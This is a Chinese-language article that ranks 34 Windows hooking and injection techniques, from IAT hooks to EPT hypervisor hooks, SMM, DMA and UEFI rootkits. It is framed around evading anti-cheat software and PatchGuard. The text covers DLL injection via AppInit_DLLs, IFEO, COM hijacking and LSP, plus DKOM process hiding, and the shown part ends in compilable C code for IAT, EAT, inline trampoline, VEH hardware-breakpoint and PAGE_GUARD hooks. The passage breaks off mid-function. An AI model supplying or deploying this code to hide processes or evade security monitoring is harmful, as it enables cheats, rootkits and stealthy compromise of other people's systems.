从最容易被检测的用户态 Hook,到理论上无法被静态发现的 Hypervisor 级 Hook,按隐蔽性从低到高排列。每种技术均提供完整可编译的实现代码。
用户态 Hook 是最基础的拦截手段,所有代码运行在应用层,任何反作弊/安全软件只要扫描进程内存就能发现。隐蔽性最低,但开发成本也最低。
PE 文件加载时,Loader 会填充 IAT(Import Address Table),记录每个导入函数的实际地址。IAT Hook 直接修改这张表里的函数指针,让程序调用时跳到你的函数。
遍历 IAT,对比每个条目是否指向对应 DLL 的地址范围内即可发现。CRC 校验 IAT 区域也能立即暴露。
修改 DLL 的 EAT(Export Address Table),让后续模块通过 GetProcAddress 获取到的地址是 Hook 函数。
和 IAT Hook 一样,对比 EAT 条目与磁盘原始文件即可发现。
直接修改目标函数的头部字节,写入一条 jmp 指令跳转到你的 Hook 函数。执行完自定义逻辑后,跳回被覆盖的原始指令继续执行(Trampoline)。
读取函数头几字节,对比磁盘上的原始 DLL 即可发现。大部分反作弊都会做完整性校验。
利用 Windows 向量化异常处理机制(VEH),通过设置硬件断点或内存保护异常,在目标函数执行时触发异常,在异常处理器中劫持执行流。
利用 PAGE_GUARD 内存保护属性。对目标函数所在页设置 PAGE_GUARD,首次访问时触发 STATUS_GUARD_PAGE_VIOLATION 异常,在 VEH 处理器中进行拦截。
TLS(Thread Local Storage)Callback 是 PE 文件中注册的回调函数,在进程/线程创建和终止时被调用,且在 DLL_PROCESS_ATTACH 之前执行。利用这个时机可以在程序的 main 函数之前就完成 Hook 安装。
微软为了支持热补丁,很多系统函数头部保留 mov edi, edi(2字节 NOP)和预留空间,前面还有 5 字节的 nop 填充。利用这些空间写入短跳转 + 近跳转,实现不覆盖任何有效指令的 Hook。
虽然利用了合法的热补丁机制,但 mov edi, edi 被改写一样可以被检测到。
Windows 提供了 NtSetInformationProcess + ProcessInstrumentationCallback 机制。设置后每次从内核返回用户态时,都会跳转到指定的回调函数,相当于 Hook 了所有系统调用的返回路径。
现代反作弊会直接从 ntdll.dll 中读取 syscall 编号(SSN),绕过所有用户态 Hook 直接执行 syscall 指令。对抗方式是修改 ntdll 的 syscall stub 中的 SSN 或 syscall 指令本身。
直接读取 ntdll 的 .text 段对比磁盘文件即可发现修改。
现代反作弊(如 EAC、BattlEye)的做法:
Windows 消息机制提供了全局钩子接口 SetWindowsHookEx,可以拦截系统范围内的键盘、鼠标、窗口消息等事件。设置全局钩子时,系统会将指定的 DLL 注入到所有拥有消息循环的进程中,这使它成为最经典的 DLL 注入 + 行为监控手段。
钩子类型包括:WH_KEYBOARD_LL(低级键盘)、WH_MOUSE_LL(低级鼠标)、WH_CBT(窗口创建/销毁/激活)、WH_GETMESSAGE(消息队列)、WH_CALLWNDPROC(窗口过程调用)等。
Windows 在加载 user32.dll 时会检查注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,如果该键非空,则将指定的 DLL 加载到每个使用 user32.dll 的进程中。这是最古老的全局注入手段之一。
Win8+ 需要额外设置 LoadAppInit_DLLs = 1,Win10 Secure Boot 模式下被彻底禁用(RequireSignedAppInit_DLLs)。
Image File Execution Options(映像文件执行选项)是 Windows 提供的调试辅助功能。通过在注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options<exe> 下设置 Debugger 值,可以让系统在启动指定程序时自动启动另一个程序(原程序路径作为参数传入)。
高级用法还包括 GlobalFlag(启用页堆等调试功能)和 VerifierDlls(Application Verifier 注入自定义 DLL)。
Windows 输入法(IME)通过注册表 HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layouts 注册,每个输入法对应一个 DLL。当用户切换到该输入法时,系统会将对应的 IME DLL 加载到当前焦点进程中。通过注册一个伪造的输入法 DLL,可以实现对任意 GUI 进程的 DLL 注入。
更高级的方式是使用 Text Services Framework(TSF),通过 COM 接口注册 Text Input Processor,实现更隐蔽的注入。
Windows Application Compatibility Framework 允许通过 SDB 文件对应用程序做内存补丁。可重定向 API 调用、修改内存代码(InMemoryPatch)、注入 DLL(InjectDll shim)。系统在进程创建时由 ntdll!LdrpInitShimEngine 自动应用匹配的 Shim。
Windows COM 通过注册表 CLSID 查找组件 DLL 路径。HKCU 优先于 HKLM,因此无需管理员权限即可劫持。系统中存在大量 Abandoned COM 对象(DLL 已删除但注册表未清理),可直接植入 DLL 利用。
Winsock Layered Service Provider 在 Winsock API 和底层传输协议间插入自定义层。LSP DLL 被自动加载到所有使用网络的进程中(浏览器、游戏、IM 等),可拦截 connect/send/recv 等所有网络操作。通过 WSCInstallProvider API 安装,注册表位于 Protocol_Catalog9。
Win10+ 虽已弃用 LSP(推荐 WFP),但为向后兼容仍然支持加载。
Windows 加载 DLL 时按照固定顺序搜索:
在高优先级目录中植入与目标 DLL 同名的文件,即可劫持加载。核心系统 DLL 受 KnownDlls 注册表保护(始终从 System32 加载),但第三方依赖和非 KnownDll 的系统 DLL 仍可被劫持。
进入内核态后,Hook 的威力和隐蔽性都大幅提升,但同时要面对 PatchGuard 这个「巡逻兵」。以下这些传统内核 Hook 技术在 Windows XP/7 时代是主流,但在 Win10+ 环境下大部分已经被 PatchGuard 监控。
SSDT(System Service Descriptor Table)是内核中的一张函数指针表,syscall 进入内核后通过 SSN 索引到这张表找到对应的内核函数。修改表项即可拦截所有系统调用。
PatchGuard 直接监控 SSDT,定期对比校验和。一旦发现修改 → 延迟蓝屏(故意随机延迟使调试困难)。
IDT(Interrupt Descriptor Table)存储着中断/异常处理器的入口。修改 IDT 条目可以拦截特定中断,比如 int 0x2E(旧版系统调用入口)、int 0x03(断点)、int 0x0E(缺页异常)。
PatchGuard 同样监控 IDT。而且 IDT 是每个 CPU 核心独立的,要 Hook 必须修改所有核心的 IDT,增加了暴露面。
Windows 驱动使用 IRP(I/O Request Packet)进行通信。每个驱动对象(DRIVER_OBJECT)有一个 MajorFunction 数组,存放了 28 种 IRP 处理函数的指针。替换这些指针即可拦截所有发往该驱动的 I/O 操作。
DKOM 不是传统意义上的"Hook",而是通过直接修改内核数据结构来隐藏进程、驱动、端口等。把目标进程从 ActiveProcessLinks 双向链表中摘除,进程管理器就看不见了。
x64 Windows 执行 syscall 指令时,CPU 从 IA32_LSTAR(MSR 0xC0000082)读取内核入口地址(KiSystemCall64)。修改这个 MSR 值,所有系统调用都会先经过你的函数。
通过在 GDT(全局描述符表)中创建 Call Gate,用户态程序可以通过 call far 指令直接跳转到内核态指定地址,绕过 syscall 路径。也可以修改现有 GDT 条目来劫持段切换。
PatchGuard 监控 GDT。而且现代 Windows 几乎不使用 Call Gate,出现一个就极其可疑。
这一层的技术大多利用了 Windows 合法的内核回调机制或巧妙的绕过策略,不直接修改被 PatchGuard 监控的关键结构,因此在现代 Windows 上仍有生存空间。
Windows 内核提供了大量官方回调注册 API,用于监控系统事件。这不算真正的"Hook",但效果类似——你能在关键事件发生时执行自定义代码。
利用 Windows 内核的 ETW(Event Tracing for Windows)日志机制。内核在执行系统调用时可能会调用 syscall ETW provider 发送一条日志回调。通过替换该回调的函数指针,可以在每次 syscall 时获得控制权,而不需要修改 SSDT 或 MSR。
仍然使用 Inline Hook,但配合 PatchGuard 绕过技术。PatchGuard 的检查有固定的定时和 DPC 机制,可以通过多种方式使其失效或规避。
Windows Filtering Platform(WFP)允许驱动注册 Callout 来处理网络数据包。这是微软官方推荐的网络过滤方式,替代了旧的 TDI/NDIS Hook。
修改页表(PTE)中的页帧号(PFN),让目标虚拟地址映射到另外准备好的包含 Hook 代码的物理页帧。读取时看到原始代码页,执行时走到我们的页。
这是 Windows 平台上隐蔽性最强的一层。Hypervisor 运行在所有软件的下面(包括 Windows 内核),拥有对物理内存、CPU 状态、I/O 的完全控制权。在这个层面实施的 Hook,操作系统本身看到的所有信息都可以被伪造。
EPT(Extended Page Table)是 Intel VT-x 提供的第二层地址翻译。Guest 的物理地址(GPA)通过 EPT 映射到实际的主机物理地址(HPA)。EPT 的每个条目都有独立的 Read/Write/Execute 权限位。
核心思想:对同一个 GPA,让读写操作映射到干净原始页,让执行操作映射到包含 Hook 代码的页。
VMFUNC 是 Intel 在 Haswell+ 处理器上引入的指令,允许 Guest 在不触发 VM-Exit 的情况下切换 EPTP(EPT Pointer),即瞬间切换到不同的物理内存视图。
VMX 的 MSR Bitmap 可以选择性地让某些 MSR 的读写触发 VM-Exit。配合 EPT Hook,可以拦截任何通过 MSR 实现的功能(性能计数器、电源控制、安全特性等),同时让检测工具读到伪造的 MSR 值。
Hypervisor 的存在可以通过 CPUID 指令被检测(VMX 会让 CPUID.1:ECX.bit31 = 1)。同时 VM-Exit 会引入可测量的时间延迟。通过拦截 CPUID 和补偿 TSC(时间戳计数器),可以让检测工具完全无法发现 Hypervisor。
这一层已经超越了软件的范畴,涉及 CPU 微码、固件、外部硬件设备。即使 Hypervisor 也无法检测或防御这一层的攻击。
SMM(System Management Mode)是 x86 CPU 中最高特权级的执行模式,比 Ring -1(Hypervisor)还高。SMM 代码运行在 SMRAM 中,对操作系统和 Hypervisor 完全不可见。
通过 PCIe/Thunderbolt 设备的 DMA(Direct Memory Access)能力,直接读写主机物理内存,完全绕过 CPU 的所有保护机制。不需要在目标系统上执行任何代码。
在 UEFI 固件中植入恶意代码。由于 UEFI 在操作系统之前执行,可以在 OS 加载前修改任何数据(包括 bootloader、内核加载器),绕过内核保护。即使重装系统、更换硬盘也无法清除。
Windows Hook 技术经过 20+ 年的进化,已经从简单粗暴的 IAT 修改,发展到需要理解 Intel VT-x 手册才能实现的 EPT 量子级技术。每一道微软加固的防线,都催生了更底层的一次突破:
核心公理:谁控制了更底层的抽象,谁就拥有绝对控制权。 上层的任何检测手段都可以被下层伪造——这就是为什么 EPT Hook 之后在纯软件层面几乎不可检测的根本原因。
| 维度 |
普通 EPT Hook |
VMFUNC EPTP Switching |
| 视图切换方式 |
EPT Violation → VM-Exit |
VMFUNC 指令(无 VM-Exit) |
| 性能开销 |
每次切换 ~1000-3000 cycles |
~100 cycles |
| 时序攻击风险 |
有(VM-Exit 延迟可测量) |
极低(指令级速度) |
| CPU 要求 |
VT-x + EPT |
Haswell+ (2013+) |
| 复杂度 |
中等 |
高(需要维护多套 EPT) |
| # |
技术 |
层级 |
隐蔽性 |
PatchGuard |
修改目标代码 |
适用场景 |
| 1 |
IAT Hook |
Ring 3 |
★☆☆☆☆ |
N/A |
否(改表) |
最基础的用户态拦截 |
| 2 |
EAT Hook |
Ring 3 |
★☆☆☆☆ |
N/A |
否(改表) |
劫持动态获取的函数 |
| 3 |
Inline Hook |
Ring 3 |
★★☆☆☆ |
N/A |
是 |
通用函数 Hook |
| 4 |
VEH/HWBP Hook |
Ring 3 |
★★★☆☆ |
N/A |
否 |
反调试场景(4个限制) |
| 5 |
PAGE_GUARD Hook |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
概念性方案(性能极差) |
| 6 |
TLS Callback |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
早期初始化 Hook |
| 7 |
Hotpatch Hook |
Ring 3 |
★★☆☆☆ |
N/A |
部分 |
利用微软预留空间 |
| 8 |
Instrumentation Callback |
Ring 3 |
★★★☆☆ |
N/A |
否 |
全局 syscall 返回拦截 |
| 9 |
Syscall Stub Patch |
Ring 3 |
★★☆☆☆ |
N/A |
是 |
对抗直接 syscall |
| 10 |
SetWindowsHookEx |
Ring 3 |
★☆☆☆☆ |
N/A |
否 |
全局消息钩子 + DLL 注入 |
| 11 |
AppInit_DLLs |
Ring 3 |
★☆☆☆☆ |
N/A |
否 |
注册表全局 DLL 注入 |
| 12 |
IFEO |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
映像劫持 / Verifier 注入 |
| 13 |
IME 注入 |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
输入法 DLL 加载到 GUI 进程 |
| 14 |
Shim Engine |
Ring 3 |
★★★☆☆ |
N/A |
是(内存) |
SDB 内存补丁 / DLL 注入 |
| 15 |
COM Hijacking |
Ring 3 |
★★★☆☆ |
N/A |
否 |
注册表 COM 对象劫持 |
| 16 |
Winsock LSP |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
全局网络流量拦截 |
| 17 |
DLL Hijacking |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
DLL 搜索顺序劫持 |
| 18 |
SSDT Hook |
Ring 0 |
★★☆☆☆ |
必杀 |
否(改表) |
XP/7 时代主流 |
| 19 |
IDT Hook |
Ring 0 |
★★☆☆☆ |
必杀 |
否(改表) |
拦截中断/异常 |
| 20 |
IRP Hook |
Ring 0 |
★★★☆☆ |
不直接 |
否(改指针) |
文件/设备过滤 |
| 21 |
DKOM |
Ring 0 |
★★★☆☆ |
部分检测 |
否(改链表) |
隐藏进程/驱动 |
| 22 |
MSR Hook |
Ring 0 |
★★☆☆☆ |
监控 |
否(改MSR) |
全局 syscall 拦截 |
| 23 |
GDT/Call Gate |
Ring 0 |
★★☆☆☆ |
监控 |
否(改描述符) |
Ring3→Ring0 跳板 |
| 24 |
Kernel Callback |
Ring 0 |
★☆☆☆☆ |
不触发 |
否 |
官方合法 API |
| 25 |
Infinity Hook |
Ring 0 |
★★★★☆ |
不触发 |
否(改ETW指针) |
绕 PG 拦截所有 syscall |
| 26 |
PG Bypass + Inline |
Ring 0 |
★★★☆☆ |
绕过 |
是 |
高风险但有效 |
| 27 |
WFP Callout |
Ring 0 |
★☆☆☆☆ |
不触发 |
否 |
网络数据包过滤 |
| 28 |
PTE Hook |
Ring 0 |
★★★★☆ |
部分检测 |
否(改PTE) |
代码页重定向 |
| 29 |
EPT Hook |
Ring -1 |
★★★★★ |
无效 |
否 |
终极内核 Hook |
| 30 |
VMFUNC EPTP Switch |
Ring -1 |
★★★★★+ |
无效 |
否 |
零 VM-Exit 视图切换 |
| 31 |
EPT + MSR Bitmap |
Ring -1 |
★★★★★ |
无效 |
否 |
代码+数据双伪装 |
| 32 |
SMM Hook |
Ring -2 |
★★★★★★ |
无效 |
固件级 |
固件级后门 |
| 33 |
DMA Attack |
硬件 |
★★★★★★ |
无效 |
物理级 |
外部设备直接改内存 |
| 34 |
UEFI Rootkit |
固件 |
★★★★★★ |
无效 |
固件级 |
持久化后门 |
#include <windows.h>
#include <winternl.h>
typedef HANDLE(WINAPI* fnOpenProcess)(DWORD, BOOL, DWORD);
fnOpenProcess OriginalOpenProcess = NULL;
HANDLE WINAPI HookedOpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) {
if (dwProcessId == GetProtectedPid()) {
SetLastError(ERROR_ACCESS_DENIED);
return NULL;
}
return OriginalOpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
}
BOOL IatHook(HMODULE hModule, const char* dllName, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;
DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (importRva == 0) return FALSE;
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)hModule + importRva);
while (pImport->Name) {
char* modName = (char*)((BYTE*)hModule + pImport->Name);
if (_stricmp(modName, dllName) == 0) {
PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->OriginalFirstThunk);
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->FirstThunk);
while (pOrigThunk->u1.AddressOfData) {
if (!(pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)hModule + pOrigThunk->u1.AddressOfData);
if (strcmp(pName->Name, funcName) == 0) {
*originalFunc = (PVOID)pThunk->u1.Function;
DWORD oldProtect;
VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), PAGE_READWRITE, &oldProtect);
pThunk->u1.Function = (ULONG_PTR)hookFunc;
VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), oldProtect, &oldProtect);
return TRUE;
}
}
pOrigThunk++;
pThunk++;
}
}
pImport++;
}
return FALSE;
}
void InstallIatHook() {
IatHook(GetModuleHandle(NULL), "kernel32.dll", "OpenProcess",
HookedOpenProcess, (PVOID*)&OriginalOpenProcess);
}
BOOL EatHook(HMODULE hDll, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hDll + pDos->e_lfanew);
DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRva == 0) return FALSE;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hDll + exportRva);
DWORD* pFunctions = (DWORD*)((BYTE*)hDll + pExport->AddressOfFunctions);
DWORD* pNames = (DWORD*)((BYTE*)hDll + pExport->AddressOfNames);
WORD* pOrdinals = (WORD*)((BYTE*)hDll + pExport->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
char* name = (char*)((BYTE*)hDll + pNames[i]);
if (strcmp(name, funcName) == 0) {
*originalFunc = (PVOID)((BYTE*)hDll + pFunctions[pOrdinals[i]]);
DWORD hookRva = (DWORD)((BYTE*)hookFunc - (BYTE*)hDll);
DWORD oldProtect;
VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), PAGE_READWRITE, &oldProtect);
pFunctions[pOrdinals[i]] = hookRva;
VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), oldProtect, &oldProtect);
return TRUE;
}
}
return FALSE;
}
PVOID AllocateNearby(HMODULE hDll, SIZE_T size) {
MEMORY_BASIC_INFORMATION mbi;
BYTE* addr = (BYTE*)hDll;
for (BYTE* p = addr - 0x70000000; p < addr + 0x70000000; p += mbi.RegionSize) {
if (VirtualQuery(p, &mbi, sizeof(mbi)) == 0) continue;
if (mbi.State == MEM_FREE && mbi.RegionSize >= size) {
PVOID alloc = VirtualAlloc(p, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc) return alloc;
}
}
return NULL;
}
#include <windows.h>
#include <stdint.h>
typedef struct _INSTRUCTION {
uint8_t length;
BOOL isRipRelative;
int32_t ripOffset;
int32_t ripDisplacement;
} INSTRUCTION;
INSTRUCTION ParseInstruction(const uint8_t* code) {
INSTRUCTION inst = {0};
const uint8_t* p = code;
while (*p == 0xF0 || *p == 0xF2 || *p == 0xF3 ||
*p == 0x26 || *p == 0x2E || *p == 0x36 || *p == 0x3E ||
*p == 0x64 || *p == 0x65 || *p == 0x66 || *p == 0x67 ||
(*p >= 0x40 && *p <= 0x4F)) {
p++;
}
uint8_t opcode = *p++;
if (opcode == 0x0F) {
uint8_t op2 = *p++;
if (op2 >= 0x80 && op2 <= 0x8F) {
inst.length = (int)(p - code) + 4;
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = *(int32_t*)p;
return inst;
}
if ((op2 & 0xC0) != 0xC0) {
uint8_t modrm = *p++;
uint8_t mod = (modrm >> 6) & 3;
uint8_t rm = modrm & 7;
if (mod == 0 && rm == 5) {
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = *(int32_t*)p;
p += 4;
} else if (mod == 0 && rm == 4) { p++; }
else if (mod == 1) { if (rm == 4) p++; p++; }
else if (mod == 2) { if (rm == 4) p++; p += 4; }
}
inst.length = (int)(p - code);
return inst;
}
switch (opcode) {
case 0xE8:
case 0xE9:
inst.length = (int)(p - code) + 4;
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = *(int32_t*)p;
return inst;
case 0xEB:
inst.length = (int)(p - code) + 1;
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = (int8_t)*p;
return inst;
}
inst.length = (int)(p - code);
if (inst.length == 0) inst.length = 1;
return inst;
}
#define HOOK_STUB_SIZE 14
#define TRAMPOLINE_MAX 64
typedef struct _HOOK_CONTEXT {
void* pTarget;
void* pDetour;
uint8_t trampoline[TRAMPOLINE_MAX];
uint8_t originalBytes[HOOK_STUB_SIZE];
uint32_t stolenLength;
void* pTrampoline;
} HOOK_CONTEXT;
BOOL BuildTrampoline(HOOK_CONTEXT* ctx) {
uint8_t* src = (uint8_t*)ctx->pTarget;
uint8_t* dst = ctx->trampoline;
uint32_t totalCopied = 0;
while (totalCopied < HOOK_STUB_SIZE) {
INSTRUCTION inst = ParseInstruction(src + totalCopied);
if (inst.isRipRelative) {
uint8_t* originalRip = src + totalCopied + inst.length;
void* absoluteTarget = originalRip + inst.ripDisplacement;
uint8_t* newRip = dst + inst.length;
int64_t newDisp = (int64_t)((uint8_t*)absoluteTarget - newRip);
if (newDisp > INT32_MAX || newDisp < INT32_MIN) {
memcpy(dst, src + totalCopied, inst.length);
return FALSE;
}
memcpy(dst, src + totalCopied, inst.length);
*(int32_t*)(dst + inst.ripOffset) = (int32_t)newDisp;
} else {
memcpy(dst, src + totalCopied, inst.length);
}
dst += inst.length;
totalCopied += inst.length;
}
ctx->stolenLength = totalCopied;
*dst++ = 0xFF;
*dst++ = 0x25;
*(uint32_t*)dst = 0; dst += 4;
*(uint64_t*)dst = (uint64_t)(src + totalCopied); dst += 8;
size_t trampolineSize = (size_t)(dst - ctx->trampoline);
ctx->pTrampoline = VirtualAlloc(NULL, trampolineSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!ctx->pTrampoline) return FALSE;
memcpy(ctx->pTrampoline, ctx->trampoline, trampolineSize);
return TRUE;
}
BOOL InstallInlineHook(HOOK_CONTEXT* ctx) {
memcpy(ctx->originalBytes, ctx->pTarget, HOOK_STUB_SIZE);
if (!BuildTrampoline(ctx)) return FALSE;
DWORD oldProtect;
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
uint8_t* p = (uint8_t*)ctx->pTarget;
p[0] = 0xFF;
p[1] = 0x25;
*(uint32_t*)(p + 2) = 0;
*(uint64_t*)(p + 6) = (uint64_t)ctx->pDetour;
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);
return TRUE;
}
BOOL RemoveInlineHook(HOOK_CONTEXT* ctx) {
DWORD oldProtect;
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(ctx->pTarget, ctx->originalBytes, HOOK_STUB_SIZE);
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);
if (ctx->pTrampoline) {
VirtualFree(ctx->pTrampoline, 0, MEM_RELEASE);
ctx->pTrampoline = NULL;
}
return TRUE;
}
BOOL SafeInstallHook(HOOK_CONTEXT* ctx) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
DWORD currentThread = GetCurrentThreadId();
DWORD currentProcess = GetCurrentProcessId();
HANDLE suspendedThreads[256];
int suspendCount = 0;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == currentProcess && te.th32ThreadID != currentThread) {
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
if (hThread) {
SuspendThread(hThread);
suspendedThreads[suspendCount++] = hThread;
}
}
} while (Thread32Next(hSnap, &te) && suspendCount < 256);
}
CloseHandle(hSnap);
BOOL result = InstallInlineHook(ctx);
for (int i = 0; i < suspendCount; i++) {
ResumeThread(suspendedThreads[i]);
CloseHandle(suspendedThreads[i]);
}
return result;
}
#include <windows.h>
#include <tlhelp32.h>
typedef struct _VEH_HOOK_ENTRY {
PVOID targetAddress;
PVOID hookFunction;
PVOID originalFunction;
int drIndex;
} VEH_HOOK_ENTRY;
#define MAX_VEH_HOOKS 4
VEH_HOOK_ENTRY g_vehHooks[MAX_VEH_HOOKS] = {0};
int g_vehHookCount = 0;
PVOID g_vehHandle = NULL;
LONG CALLBACK VehExceptionHandler(PEXCEPTION_POINTERS pExInfo) {
if (pExInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
for (int i = 0; i < g_vehHookCount; i++) {
if ((PVOID)pExInfo->ContextRecord->Rip == g_vehHooks[i].targetAddress) {
pExInfo->ContextRecord->Rip = (DWORD64)g_vehHooks[i].hookFunction;
pExInfo->ContextRecord->Dr6 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL SetThreadHwbp(HANDLE hThread, int drIndex, PVOID address) {
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(hThread, &ctx)) return FALSE;
switch (drIndex) {
case 0: ctx.Dr0 = (DWORD64)address; break;
case 1: ctx.Dr1 = (DWORD64)address; break;
case 2: ctx.Dr2 = (DWORD64)address; break;
case 3: ctx.Dr3 = (DWORD64)address; break;
}
ctx.Dr7 &= ~(3ULL << (drIndex * 2));
ctx.Dr7 |= (1ULL << (drIndex * 2));
ctx.Dr7 &= ~(0xFULL << (16 + drIndex * 4));
return SetThreadContext(hThread, &ctx);
}
BOOL ClearThreadHwbp(HANDLE hThread, int drIndex) {
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(hThread, &ctx)) return FALSE;
switch (drIndex) {
case 0: ctx.Dr0 = 0; break;
case 1: ctx.Dr1 = 0; break;
case 2: ctx.Dr2 = 0; break;
case 3: ctx.Dr3 = 0; break;
}
ctx.Dr7 &= ~(1ULL << (drIndex * 2));
return SetThreadContext(hThread, &ctx);
}
BOOL SetAllThreadsHwbp(int drIndex, PVOID address) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return FALSE;
THREADENTRY32 te = { .dwSize = sizeof(te) };
DWORD pid = GetCurrentProcessId();
DWORD tid = GetCurrentThreadId();
BOOL success = TRUE;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread;
if (te.th32ThreadID == tid) {
hThread = GetCurrentThread();
} else {
hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
FALSE, te.th32ThreadID);
if (!hThread) continue;
SuspendThread(hThread);
}
if (!SetThreadHwbp(hThread, drIndex, address))
success = FALSE;
if (te.th32ThreadID != tid) {
ResumeThread(hThread);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return success;
}
BOOL InstallVehHook(PVOID targetAddr, PVOID hookFunc) {
if (g_vehHookCount >= MAX_VEH_HOOKS) return FALSE;
if (!g_vehHandle) {
g_vehHandle = AddVectoredExceptionHandler(1, VehExceptionHandler);
if (!g_vehHandle) return FALSE;
}
int drIndex = g_vehHookCount;
g_vehHooks[drIndex].targetAddress = targetAddr;
g_vehHooks[drIndex].hookFunction = hookFunc;
g_vehHooks[drIndex].drIndex = drIndex;
g_vehHookCount++;
return SetAllThreadsHwbp(drIndex, targetAddr);
}
BOOL RemoveVehHook(int drIndex) {
if (drIndex >= g_vehHookCount) return FALSE;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
DWORD pid = GetCurrentProcessId();
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
FALSE, te.th32ThreadID);
if (hThread) {
SuspendThread(hThread);
ClearThreadHwbp(hThread, drIndex);
ResumeThread(hThread);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return TRUE;
}
#include <windows.h>
typedef struct _GUARD_HOOK {
PVOID targetFunction;
PVOID hookFunction;
PVOID pageBase;
BOOL active;
} GUARD_HOOK;
GUARD_HOOK g_guardHook = {0};
LONG CALLBACK GuardPageHandler(PEXCEPTION_POINTERS pExInfo) {
DWORD exCode = pExInfo->ExceptionRecord->ExceptionCode;
if (exCode == STATUS_GUARD_PAGE_VIOLATION) {
PVOID faultAddr = pExInfo->ExceptionRecord->ExceptionAddress;
if (faultAddr == g_guardHook.targetFunction) {
pExInfo->ContextRecord->Rip = (DWORD64)g_guardHook.hookFunction;
}
pExInfo->ContextRecord->EFlags |= 0x100;
return EXCEPTION_CONTINUE_EXECUTION;
}
if (exCode == EXCEPTION_SINGLE_STEP && g_guardHook.active) {
DWORD oldProtect;
VirtualProtect(g_guardHook.pageBase, PAGE_SIZE,
PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL InstallGuardHook(PVOID target, PVOID hook) {
